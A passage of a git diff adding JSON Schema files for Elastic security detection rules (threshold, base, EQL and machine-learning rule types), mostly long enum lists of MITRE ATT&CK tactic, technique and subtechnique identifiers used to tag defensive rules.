"T1025", + "T1026", + "T1027", + "T1028", + "T1029", + "T1030", + "T1031", + "T1032", + "T1033", + "T1034", + "T1035", + "T1036", + "T1037", + "T1038", + "T1039", + "T1040", + "T1041", + "T1042", + "T1043", + "T1044", + "T1045", + "T1046", + "T1047", + "T1048", + "T1049", + "T1050", + "T1051", + "T1052", + "T1053", + "T1054", + "T1055", + "T1056", + "T1057", + "T1058", + "T1059", + "T1060", + "T1061", + "T1062", + "T1063", + "T1064", + "T1065", + "T1066", + "T1067", + "T1068", + "T1069", + "T1070", + "T1071", + "T1072", + "T1073", + "T1074", + "T1075", + "T1076", + "T1077", + "T1078", + "T1079", + "T1080", + "T1081", + "T1082", + "T1083", + "T1084", + "T1085", + "T1086", + "T1087", + "T1088", + "T1089", + "T1090", + "T1091", + "T1092", + "T1093", + "T1094", + "T1095", + "T1096", + "T1097", + "T1098", + "T1099", + "T1100", + "T1101", + "T1102", + "T1103", + "T1104", + "T1105", + "T1106", + "T1107", + "T1108", + "T1109", + "T1110", + "T1111", + "T1112", + "T1113", + "T1114", + "T1115", + "T1116", + "T1117", + "T1118", + "T1119", + "T1120", + "T1121", + "T1122", + "T1123", + "T1124", + "T1125", + "T1126", + "T1127", + "T1128", + "T1129", + "T1130", + "T1131", + "T1132", + "T1133", + "T1134", + "T1135", + "T1136", + "T1137", + "T1138", + "T1139", + "T1140", + "T1141", + "T1142", + "T1143", + "T1144", + "T1145", + "T1146", + "T1147", + "T1148", + "T1149", + "T1150", + "T1151", + "T1152", + "T1153", + "T1154", + "T1155", + "T1156", + "T1157", + "T1158", + "T1159", + "T1160", + "T1161", + "T1162", + "T1163", + "T1164", + "T1165", + "T1166", + "T1167", + "T1168", + "T1169", + "T1170", + "T1171", + "T1172", + "T1173", + "T1174", + "T1175", + "T1176", + "T1177", + "T1178", + "T1179", + "T1180", + "T1181", + "T1182", + "T1183", + "T1184", + "T1185", + "T1186", + "T1187", + "T1188", + "T1189", + "T1190", + "T1191", + "T1192", + "T1193", + "T1194", + "T1195", + "T1196", + "T1197", + "T1198", + "T1199", + "T1200", + "T1201", + "T1202", + "T1203", + "T1204", + "T1205", + "T1206", + "T1207", + "T1208", + "T1209", + "T1210", + "T1211", + "T1212", + "T1213", + "T1214", + "T1215", + "T1216", + "T1217", + "T1218", + "T1219", + "T1220", + "T1221", + "T1222", + "T1223", + "T1480", + "T1482", + "T1483", + "T1484", + "T1485", + "T1486", + "T1487", + "T1488", + "T1489", + "T1490", + "T1491", + "T1492", + "T1493", + "T1494", + "T1495", + "T1496", + "T1497", + "T1498", + "T1499", + "T1500", + "T1501", + "T1502", + "T1503", + "T1504", + "T1505", + "T1506", + "T1514", + "T1518", + "T1519", + "T1522", + "T1525", + "T1526", + "T1527", + "T1528", + "T1529", + "T1530", + "T1531", + "T1534", + "T1535", + "T1536", + "T1537", + "T1538", + "T1539", + "T1542", + "T1543", + "T1546", + "T1547", + "T1548", + "T1550", + "T1552", + "T1553", + "T1554", + "T1555", + "T1556", + "T1557", + "T1558", + "T1559", + "T1560", + "T1561", + "T1562", + "T1563", + "T1564", + "T1565", + "T1566", + "T1567", + "T1568", + "T1569", + "T1570", + "T1571", + "T1572", + "T1573", + "T1574", + "T1578" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic", + "technique" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "threshold": { + "additionalProperties": false, + "properties": { + "field": { + "default": "", + "type": "string" + }, + "value": { + "minimum": 1, + "type": "integer" + } + }, + "required": [ + "field", + "value" + ], + "type": "object" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "type": "string" + }, + "timeline_title": { + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "default": "now", + "type": "string" + }, + "type": { + "default": "threshold", + "enum": [ + "threshold" + ], + "type": "string" + } + }, + "required": [ + "rule_id", + "type", + "description", + "name", + "risk_score", + "severity", + "language", + "query", + "author", + "license", + "threshold" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.11/7.11.base.json b/etc/api_schemas/7.11/7.11.base.json new file mode 100644 index 000000000..55a0cac5d --- /dev/null +++ b/etc/api_schemas/7.11/7.11.base.json @@ -0,0 +1,928 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "type": "array" + }, + "author": { + "items": { + "default": "Elastic", + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "default": false, + "type": "boolean" + }, + "exceptions_list": { + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": false, + "properties": { + "$state": { + "additionalProperties": false, + "properties": { + "store": { + "type": "string" + } + }, + "type": "object" + }, + "exists": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + } + }, + "type": "object" + }, + "meta": { + "additionalProperties": false, + "properties": { + "alias": { + "type": "string" + }, + "disabled": { + "type": "boolean" + }, + "indexRefName": { + "type": "string" + }, + "key": { + "type": "string" + }, + "negate": { + "type": "boolean" + }, + "params": { + "properties": { + "query": { + "type": "string" + } + }, + "type": "object" + }, + "type": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "type": "object" + }, + "query": { + "type": "object" + } + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "default": "now-6m", + "type": "string" + }, + "interval": { + "default": "5m", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "license": { + "default": "Elastic License v2", + "type": "string" + }, + "max_signals": { + "default": 100, + "minimum": 1, + "type": "integer" + }, + "meta": { + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "format": "markdown", + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "default": 21, + "maximum": 100, + "minimum": 0, + "type": "integer" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "rule_id": { + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "default": "low", + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "default": "MITRE ATT&CK", + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "TA0009", + "TA0011", + "TA0006", + "TA0005", + "TA0007", + "TA0002", + "TA0010", + "TA0040", + "TA0001", + "TA0008", + "TA0003", + "TA0004" + ], + "type": "string" + }, + "name": { + "enum": [ + "Collection", + "Command and Control", + "Credential Access", + "Defense Evasion", + "Discovery", + "Execution", + "Exfiltration", + "Impact", + "Initial Access", + "Lateral Movement", + "Persistence", + "Privilege Escalation" + ], + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001", + "T1002", + "T1003", + "T1004", + "T1005", + "T1006", + "T1007", + "T1008", + "T1009", + "T1010", + "T1011", + "T1012", + "T1013", + "T1014", + "T1015", + "T1016", + "T1017", + "T1018", + "T1019", + "T1020", + "T1021", + "T1022", + "T1023", + "T1024", + "T1025", + "T1026", + "T1027", + "T1028", + "T1029", + "T1030", + "T1031", + "T1032", + "T1033", + "T1034", + "T1035", + "T1036", + "T1037", + "T1038", + "T1039", + "T1040", + "T1041", + "T1042", + "T1043", + "T1044", + "T1045", + "T1046", + "T1047", + "T1048", + "T1049", + "T1050", + "T1051", + "T1052", + "T1053", + "T1054", + "T1055", + "T1056", + "T1057", + "T1058", + "T1059", + "T1060", + "T1061", + "T1062", + "T1063", + "T1064", + "T1065", + "T1066", + "T1067", + "T1068", + "T1069", + "T1070", + "T1071", + "T1072", + "T1073", + "T1074", + "T1075", + "T1076", + "T1077", + "T1078", + "T1079", + "T1080", + "T1081", + "T1082", + "T1083", + "T1084", + "T1085", + "T1086", + "T1087", + "T1088", + "T1089", + "T1090", + "T1091", + "T1092", + "T1093", + "T1094", + "T1095", + "T1096", + "T1097", + "T1098", + "T1099", + "T1100", + "T1101", + "T1102", + "T1103", + "T1104", + "T1105", + "T1106", + "T1107", + "T1108", + "T1109", + "T1110", + "T1111", + "T1112", + "T1113", + "T1114", + "T1115", + "T1116", + "T1117", + "T1118", + "T1119", + "T1120", + "T1121", + "T1122", + "T1123", + "T1124", + "T1125", + "T1126", + "T1127", + "T1128", + "T1129", + "T1130", + "T1131", + "T1132", + "T1133", + "T1134", + "T1135", + "T1136", + "T1137", + "T1138", + "T1139", + "T1140", + "T1141", + "T1142", + "T1143", + "T1144", + "T1145", + "T1146", + "T1147", + "T1148", + "T1149", + "T1150", + "T1151", + "T1152", + "T1153", + "T1154", + "T1155", + "T1156", + "T1157", + "T1158", + "T1159", + "T1160", + "T1161", + "T1162", + "T1163", + "T1164", + "T1165", + "T1166", + "T1167", + "T1168", + "T1169", + "T1170", + "T1171", + "T1172", + "T1173", + "T1174", + "T1175", + "T1176", + "T1177", + "T1178", + "T1179", + "T1180", + "T1181", + "T1182", + "T1183", + "T1184", + "T1185", + "T1186", + "T1187", + "T1188", + "T1189", + "T1190", + "T1191", + "T1192", + "T1193", + "T1194", + "T1195", + "T1196", + "T1197", + "T1198", + "T1199", + "T1200", + "T1201", + "T1202", + "T1203", + "T1204", + "T1205", + "T1206", + "T1207", + "T1208", + "T1209", + "T1210", + "T1211", + "T1212", + "T1213", + "T1214", + "T1215", + "T1216", + "T1217", + "T1218", + "T1219", + "T1220", + "T1221", + "T1222", + "T1223", + "T1480", + "T1482", + "T1483", + "T1484", + "T1485", + "T1486", + "T1487", + "T1488", + "T1489", + "T1490", + "T1491", + "T1492", + "T1493", + "T1494", + "T1495", + "T1496", + "T1497", + "T1498", + "T1499", + "T1500", + "T1501", + "T1502", + "T1503", + "T1504", + "T1505", + "T1506", + "T1514", + "T1518", + "T1519", + "T1522", + "T1525", + "T1526", + "T1527", + "T1528", + "T1529", + "T1530", + "T1531", + "T1534", + "T1535", + "T1536", + "T1537", + "T1538", + "T1539", + "T1542", + "T1543", + "T1546", + "T1547", + "T1548", + "T1550", + "T1552", + "T1553", + "T1554", + "T1555", + "T1556", + "T1557", + "T1558", + "T1559", + "T1560", + "T1561", + "T1562", + "T1563", + "T1564", + "T1565", + "T1566", + "T1567", + "T1568", + "T1569", + "T1570", + "T1571", + "T1572", + "T1573", + "T1574", + "T1578" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001.001", + "T1001.002", + "T1001.003", + "T1003.001", + "T1003.002", + "T1003.003", + "T1003.004", + "T1003.005", + "T1003.006", + "T1003.007", + "T1003.008", + "T1011.001", + "T1021.001", + "T1021.002", + "T1021.003", + "T1021.004", + "T1021.005", + "T1021.006", + "T1027.001", + "T1027.002", + "T1027.003", + "T1027.004", + "T1027.005", + "T1036.001", + "T1036.002", + "T1036.003", + "T1036.004", + "T1036.005", + "T1036.006", + "T1037.001", + "T1037.002", + "T1037.003", + "T1037.004", + "T1037.005", + "T1048.001", + "T1048.002", + "T1048.003", + "T1052.001", + "T1053.001", + "T1053.002", + "T1053.003", + "T1053.004", + "T1053.005", + "T1055.001", + "T1055.002", + "T1055.003", + "T1055.004", + "T1055.005", + "T1055.008", + "T1055.009", + "T1055.011", + "T1055.012", + "T1055.013", + "T1055.014", + "T1056.001", + "T1056.002", + "T1056.003", + "T1056.004", + "T1059.001", + "T1059.002", + "T1059.003", + "T1059.004", + "T1059.005", + "T1059.006", + "T1059.007", + "T1069.001", + "T1069.002", + "T1069.003", + "T1070.001", + "T1070.002", + "T1070.003", + "T1070.004", + "T1070.005", + "T1070.006", + "T1071.001", + "T1071.002", + "T1071.003", + "T1071.004", + "T1074.001", + "T1074.002", + "T1078.001", + "T1078.002", + "T1078.003", + "T1078.004", + "T1087.001", + "T1087.002", + "T1087.003", + "T1087.004", + "T1090.001", + "T1090.002", + "T1090.003", + "T1090.004", + "T1098.001", + "T1098.002", + "T1098.003", + "T1098.004", + "T1102.001", + "T1102.002", + "T1102.003", + "T1110.001", + "T1110.002", + "T1110.003", + "T1110.004", + "T1114.001", + "T1114.002", + "T1114.003", + "T1127.001", + "T1132.001", + "T1132.002", + "T1134.001", + "T1134.002", + "T1134.003", + "T1134.004", + "T1134.005", + "T1136.001", + "T1136.002", + "T1136.003", + "T1137.001", + "T1137.002", + "T1137.003", + "T1137.004", + "T1137.005", + "T1137.006", + "T1195.001", + "T1195.002", + "T1195.003", + "T1204.001", + "T1204.002", + "T1205.001", + "T1213.001", + "T1213.002", + "T1216.001", + "T1218.001", + "T1218.002", + "T1218.003", + "T1218.004", + "T1218.005", + "T1218.007", + "T1218.008", + "T1218.009", + "T1218.010", + "T1218.011", + "T1222.001", + "T1222.002", + "T1480.001", + "T1491.001", + "T1491.002", + "T1497.001", + "T1497.002", + "T1497.003", + "T1498.001", + "T1498.002", + "T1499.001", + "T1499.002", + "T1499.003", + "T1499.004", + "T1505.001", + "T1505.002", + "T1505.003", + "T1518.001", + "T1542.001", + "T1542.002", + "T1542.003", + "T1543.001", + "T1543.002", + "T1543.003", + "T1543.004", + "T1546.001", + "T1546.002", + "T1546.003", + "T1546.004", + "T1546.005", + "T1546.006", + "T1546.007", + "T1546.008", + "T1546.009", + "T1546.010", + "T1546.011", + "T1546.012", + "T1546.013", + "T1546.014", + "T1546.015", + "T1547.001", + "T1547.002", + "T1547.003", + "T1547.004", + "T1547.005", + "T1547.006", + "T1547.007", + "T1547.008", + "T1547.009", + "T1547.010", + "T1547.011", + "T1548.001", + "T1548.002", + "T1548.003", + "T1548.004", + "T1550.001", + "T1550.002", + "T1550.003", + "T1550.004", + "T1552.001", + "T1552.002", + "T1552.003", + "T1552.004", + "T1552.005", + "T1552.006", + "T1553.001", + "T1553.002", + "T1553.003", + "T1553.004", + "T1555.001", + "T1555.002", + "T1555.003", + "T1556.001", + "T1556.002", + "T1556.003", + "T1557.001", + "T1558.001", + "T1558.002", + "T1558.003", + "T1559.001", + "T1559.002", + "T1560.001", + "T1560.002", + "T1560.003", + "T1561.001", + "T1561.002", + "T1562.001", + "T1562.002", + "T1562.003", + "T1562.004", + "T1562.006", + "T1562.007", + "T1563.001", + "T1563.002", + "T1564.001", + "T1564.002", + "T1564.003", + "T1564.004", + "T1564.005", + "T1564.006", + "T1565.001", + "T1565.002", + "T1565.003", + "T1566.001", + "T1566.002", + "T1566.003", + "T1567.001", + "T1567.002", + "T1568.001", + "T1568.002", + "T1568.003", + "T1569.001", + "T1569.002", + "T1573.001", + "T1573.002", + "T1574.001", + "T1574.002", + "T1574.004", + "T1574.005", + "T1574.006", + "T1574.007", + "T1574.008", + "T1574.009", + "T1574.010", + "T1574.011", + "T1574.012", + "T1578.001", + "T1578.002", + "T1578.003", + "T1578.004" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "type": "string" + }, + "timeline_title": { + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "default": "now", + "type": "string" + } + }, + "required": [ + "rule_id", + "description", + "name", + "risk_score", + "severity", + "author", + "license" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.11/7.11.eql.json b/etc/api_schemas/7.11/7.11.eql.json new file mode 100644 index 000000000..ef4282932 --- /dev/null +++ b/etc/api_schemas/7.11/7.11.eql.json @@ -0,0 +1,953 @@ +{ + "$schema": "http://json-schema.org/draft-04/schema#", + "additionalProperties": false, + "properties": { + "actions": { + "type": "array" + }, + "author": { + "items": { + "default": "Elastic", + "type": "string" + }, + "minItems": 1, + "type": "array" + }, + "building_block_type": { + "type": "string" + }, + "description": { + "type": "string" + }, + "enabled": { + "default": false, + "type": "boolean" + }, + "exceptions_list": { + "type": "array" + }, + "false_positives": { + "items": { + "type": "string" + }, + "type": "array" + }, + "filters": { + "items": { + "additionalProperties": false, + "properties": { + "$state": { + "additionalProperties": false, + "properties": { + "store": { + "type": "string" + } + }, + "type": "object" + }, + "exists": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + } + }, + "type": "object" + }, + "meta": { + "additionalProperties": false, + "properties": { + "alias": { + "type": "string" + }, + "disabled": { + "type": "boolean" + }, + "indexRefName": { + "type": "string" + }, + "key": { + "type": "string" + }, + "negate": { + "type": "boolean" + }, + "params": { + "properties": { + "query": { + "type": "string" + } + }, + "type": "object" + }, + "type": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "type": "object" + }, + "query": { + "type": "object" + } + }, + "type": "object" + }, + "type": "array" + }, + "from": { + "default": "now-6m", + "type": "string" + }, + "index": { + "items": { + "type": "string" + }, + "type": "array" + }, + "interval": { + "default": "5m", + "pattern": "\\d+[mshd]", + "type": "string" + }, + "language": { + "default": "eql", + "enum": [ + "eql" + ], + "type": "string" + }, + "license": { + "default": "Elastic License v2", + "type": "string" + }, + "max_signals": { + "default": 100, + "minimum": 1, + "type": "integer" + }, + "meta": { + "type": "object" + }, + "name": { + "type": "string" + }, + "note": { + "format": "markdown", + "type": "string" + }, + "query": { + "type": "string" + }, + "references": { + "items": { + "type": "string" + }, + "type": "array" + }, + "risk_score": { + "default": 21, + "maximum": 100, + "minimum": 0, + "type": "integer" + }, + "risk_score_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "rule_id": { + "pattern": "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}", + "type": "string" + }, + "rule_name_override": { + "type": "string" + }, + "severity": { + "default": "low", + "enum": [ + "low", + "medium", + "high", + "critical" + ], + "type": "string" + }, + "severity_mapping": { + "items": { + "additionalProperties": false, + "properties": { + "field": { + "type": "string" + }, + "operator": { + "enum": [ + "equals" + ], + "type": "string" + }, + "severity": { + "type": "string" + }, + "value": { + "type": "string" + } + }, + "required": [ + "field" + ], + "type": "object" + }, + "minItems": 1, + "type": "array" + }, + "tags": { + "items": { + "type": "string" + }, + "type": "array" + }, + "threat": { + "items": { + "additionalProperties": false, + "properties": { + "framework": { + "default": "MITRE ATT&CK", + "type": "string" + }, + "tactic": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "TA0009", + "TA0011", + "TA0006", + "TA0005", + "TA0007", + "TA0002", + "TA0010", + "TA0040", + "TA0001", + "TA0008", + "TA0003", + "TA0004" + ], + "type": "string" + }, + "name": { + "enum": [ + "Collection", + "Command and Control", + "Credential Access", + "Defense Evasion", + "Discovery", + "Execution", + "Exfiltration", + "Impact", + "Initial Access", + "Lateral Movement", + "Persistence", + "Privilege Escalation" + ], + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/tactics/TA[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "technique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001", + "T1002", + "T1003", + "T1004", + "T1005", + "T1006", + "T1007", + "T1008", + "T1009", + "T1010", + "T1011", + "T1012", + "T1013", + "T1014", + "T1015", + "T1016", + "T1017", + "T1018", + "T1019", + "T1020", + "T1021", + "T1022", + "T1023", + "T1024", + "T1025", + "T1026", + "T1027", + "T1028", + "T1029", + "T1030", + "T1031", + "T1032", + "T1033", + "T1034", + "T1035", + "T1036", + "T1037", + "T1038", + "T1039", + "T1040", + "T1041", + "T1042", + "T1043", + "T1044", + "T1045", + "T1046", + "T1047", + "T1048", + "T1049", + "T1050", + "T1051", + "T1052", + "T1053", + "T1054", + "T1055", + "T1056", + "T1057", + "T1058", + "T1059", + "T1060", + "T1061", + "T1062", + "T1063", + "T1064", + "T1065", + "T1066", + "T1067", + "T1068", + "T1069", + "T1070", + "T1071", + "T1072", + "T1073", + "T1074", + "T1075", + "T1076", + "T1077", + "T1078", + "T1079", + "T1080", + "T1081", + "T1082", + "T1083", + "T1084", + "T1085", + "T1086", + "T1087", + "T1088", + "T1089", + "T1090", + "T1091", + "T1092", + "T1093", + "T1094", + "T1095", + "T1096", + "T1097", + "T1098", + "T1099", + "T1100", + "T1101", + "T1102", + "T1103", + "T1104", + "T1105", + "T1106", + "T1107", + "T1108", + "T1109", + "T1110", + "T1111", + "T1112", + "T1113", + "T1114", + "T1115", + "T1116", + "T1117", + "T1118", + "T1119", + "T1120", + "T1121", + "T1122", + "T1123", + "T1124", + "T1125", + "T1126", + "T1127", + "T1128", + "T1129", + "T1130", + "T1131", + "T1132", + "T1133", + "T1134", + "T1135", + "T1136", + "T1137", + "T1138", + "T1139", + "T1140", + "T1141", + "T1142", + "T1143", + "T1144", + "T1145", + "T1146", + "T1147", + "T1148", + "T1149", + "T1150", + "T1151", + "T1152", + "T1153", + "T1154", + "T1155", + "T1156", + "T1157", + "T1158", + "T1159", + "T1160", + "T1161", + "T1162", + "T1163", + "T1164", + "T1165", + "T1166", + "T1167", + "T1168", + "T1169", + "T1170", + "T1171", + "T1172", + "T1173", + "T1174", + "T1175", + "T1176", + "T1177", + "T1178", + "T1179", + "T1180", + "T1181", + "T1182", + "T1183", + "T1184", + "T1185", + "T1186", + "T1187", + "T1188", + "T1189", + "T1190", + "T1191", + "T1192", + "T1193", + "T1194", + "T1195", + "T1196", + "T1197", + "T1198", + "T1199", + "T1200", + "T1201", + "T1202", + "T1203", + "T1204", + "T1205", + "T1206", + "T1207", + "T1208", + "T1209", + "T1210", + "T1211", + "T1212", + "T1213", + "T1214", + "T1215", + "T1216", + "T1217", + "T1218", + "T1219", + "T1220", + "T1221", + "T1222", + "T1223", + "T1480", + "T1482", + "T1483", + "T1484", + "T1485", + "T1486", + "T1487", + "T1488", + "T1489", + "T1490", + "T1491", + "T1492", + "T1493", + "T1494", + "T1495", + "T1496", + "T1497", + "T1498", + "T1499", + "T1500", + "T1501", + "T1502", + "T1503", + "T1504", + "T1505", + "T1506", + "T1514", + "T1518", + "T1519", + "T1522", + "T1525", + "T1526", + "T1527", + "T1528", + "T1529", + "T1530", + "T1531", + "T1534", + "T1535", + "T1536", + "T1537", + "T1538", + "T1539", + "T1542", + "T1543", + "T1546", + "T1547", + "T1548", + "T1550", + "T1552", + "T1553", + "T1554", + "T1555", + "T1556", + "T1557", + "T1558", + "T1559", + "T1560", + "T1561", + "T1562", + "T1563", + "T1564", + "T1565", + "T1566", + "T1567", + "T1568", + "T1569", + "T1570", + "T1571", + "T1572", + "T1573", + "T1574", + "T1578" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/", + "type": "string" + }, + "subtechnique": { + "items": { + "additionalProperties": false, + "properties": { + "id": { + "enum": [ + "T1001.001", + "T1001.002", + "T1001.003", + "T1003.001", + "T1003.002", + "T1003.003", + "T1003.004", + "T1003.005", + "T1003.006", + "T1003.007", + "T1003.008", + "T1011.001", + "T1021.001", + "T1021.002", + "T1021.003", + "T1021.004", + "T1021.005", + "T1021.006", + "T1027.001", + "T1027.002", + "T1027.003", + "T1027.004", + "T1027.005", + "T1036.001", + "T1036.002", + "T1036.003", + "T1036.004", + "T1036.005", + "T1036.006", + "T1037.001", + "T1037.002", + "T1037.003", + "T1037.004", + "T1037.005", + "T1048.001", + "T1048.002", + "T1048.003", + "T1052.001", + "T1053.001", + "T1053.002", + "T1053.003", + "T1053.004", + "T1053.005", + "T1055.001", + "T1055.002", + "T1055.003", + "T1055.004", + "T1055.005", + "T1055.008", + "T1055.009", + "T1055.011", + "T1055.012", + "T1055.013", + "T1055.014", + "T1056.001", + "T1056.002", + "T1056.003", + "T1056.004", + "T1059.001", + "T1059.002", + "T1059.003", + "T1059.004", + "T1059.005", + "T1059.006", + "T1059.007", + "T1069.001", + "T1069.002", + "T1069.003", + "T1070.001", + "T1070.002", + "T1070.003", + "T1070.004", + "T1070.005", + "T1070.006", + "T1071.001", + "T1071.002", + "T1071.003", + "T1071.004", + "T1074.001", + "T1074.002", + "T1078.001", + "T1078.002", + "T1078.003", + "T1078.004", + "T1087.001", + "T1087.002", + "T1087.003", + "T1087.004", + "T1090.001", + "T1090.002", + "T1090.003", + "T1090.004", + "T1098.001", + "T1098.002", + "T1098.003", + "T1098.004", + "T1102.001", + "T1102.002", + "T1102.003", + "T1110.001", + "T1110.002", + "T1110.003", + "T1110.004", + "T1114.001", + "T1114.002", + "T1114.003", + "T1127.001", + "T1132.001", + "T1132.002", + "T1134.001", + "T1134.002", + "T1134.003", + "T1134.004", + "T1134.005", + "T1136.001", + "T1136.002", + "T1136.003", + "T1137.001", + "T1137.002", + "T1137.003", + "T1137.004", + "T1137.005", + "T1137.006", + "T1195.001", + "T1195.002", + "T1195.003", + "T1204.001", + "T1204.002", + "T1205.001", + "T1213.001", + "T1213.002", + "T1216.001", + "T1218.001", + "T1218.002", + "T1218.003", + "T1218.004", + "T1218.005", + "T1218.007", + "T1218.008", + "T1218.009", + "T1218.010", + "T1218.011", + "T1222.001", + "T1222.002", + "T1480.001", + "T1491.001", + "T1491.002", + "T1497.001", + "T1497.002", + "T1497.003", + "T1498.001", + "T1498.002", + "T1499.001", + "T1499.002", + "T1499.003", + "T1499.004", + "T1505.001", + "T1505.002", + "T1505.003", + "T1518.001", + "T1542.001", + "T1542.002", + "T1542.003", + "T1543.001", + "T1543.002", + "T1543.003", + "T1543.004", + "T1546.001", + "T1546.002", + "T1546.003", + "T1546.004", + "T1546.005", + "T1546.006", + "T1546.007", + "T1546.008", + "T1546.009", + "T1546.010", + "T1546.011", + "T1546.012", + "T1546.013", + "T1546.014", + "T1546.015", + "T1547.001", + "T1547.002", + "T1547.003", + "T1547.004", + "T1547.005", + "T1547.006", + "T1547.007", + "T1547.008", + "T1547.009", + "T1547.010", + "T1547.011", + "T1548.001", + "T1548.002", + "T1548.003", + "T1548.004", + "T1550.001", + "T1550.002", + "T1550.003", + "T1550.004", + "T1552.001", + "T1552.002", + "T1552.003", + "T1552.004", + "T1552.005", + "T1552.006", + "T1553.001", + "T1553.002", + "T1553.003", + "T1553.004", + "T1555.001", + "T1555.002", + "T1555.003", + "T1556.001", + "T1556.002", + "T1556.003", + "T1557.001", + "T1558.001", + "T1558.002", + "T1558.003", + "T1559.001", + "T1559.002", + "T1560.001", + "T1560.002", + "T1560.003", + "T1561.001", + "T1561.002", + "T1562.001", + "T1562.002", + "T1562.003", + "T1562.004", + "T1562.006", + "T1562.007", + "T1563.001", + "T1563.002", + "T1564.001", + "T1564.002", + "T1564.003", + "T1564.004", + "T1564.005", + "T1564.006", + "T1565.001", + "T1565.002", + "T1565.003", + "T1566.001", + "T1566.002", + "T1566.003", + "T1567.001", + "T1567.002", + "T1568.001", + "T1568.002", + "T1568.003", + "T1569.001", + "T1569.002", + "T1573.001", + "T1573.002", + "T1574.001", + "T1574.002", + "T1574.004", + "T1574.005", + "T1574.006", + "T1574.007", + "T1574.008", + "T1574.009", + "T1574.010", + "T1574.011", + "T1574.012", + "T1578.001", + "T1578.002", + "T1578.003", + "T1578.004" + ], + "type": "string" + }, + "name": { + "type": "string" + }, + "reference": { + "pattern": "https://attack.mitre.org/techniques/T[0-9]+/[0-9]+/", + "type": "string" + } + }, + "required": [ + "id", + "name" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "id", + "name", + "reference" + ], + "type": "object" + }, + "type": "array" + } + }, + "required": [ + "framework", + "tactic" + ], + "type": "object" + }, + "type": "array" + }, + "throttle": { + "type": "string" + }, + "timeline_id": { + "type": "string" + }, + "timeline_title": { + "type": "string" + }, + "timestamp_override": { + "type": "string" + }, + "to": { + "default": "now", + "type": "string" + }, + "type": { + "enum": [ + "eql" + ], + "type": "string" + } + }, + "required": [ + "rule_id", + "type", + "description", + "name", + "risk_score", + "severity", + "language", + "query", + "author", + "license" + ], + "type": "object" +} \ No newline at end of file diff --git a/etc/api_schemas/7.11/7.11.machine_learning.json b/etc/api_schemas/7.11/7.11.machine_learning.json new file mode 100644 index 000000000..e9ef79ca7 --- /dev/null +++ b/etc/api_schemas/7.11/7.11.machine_learning.json @@ -0,0 +1,945 @@ +{ + 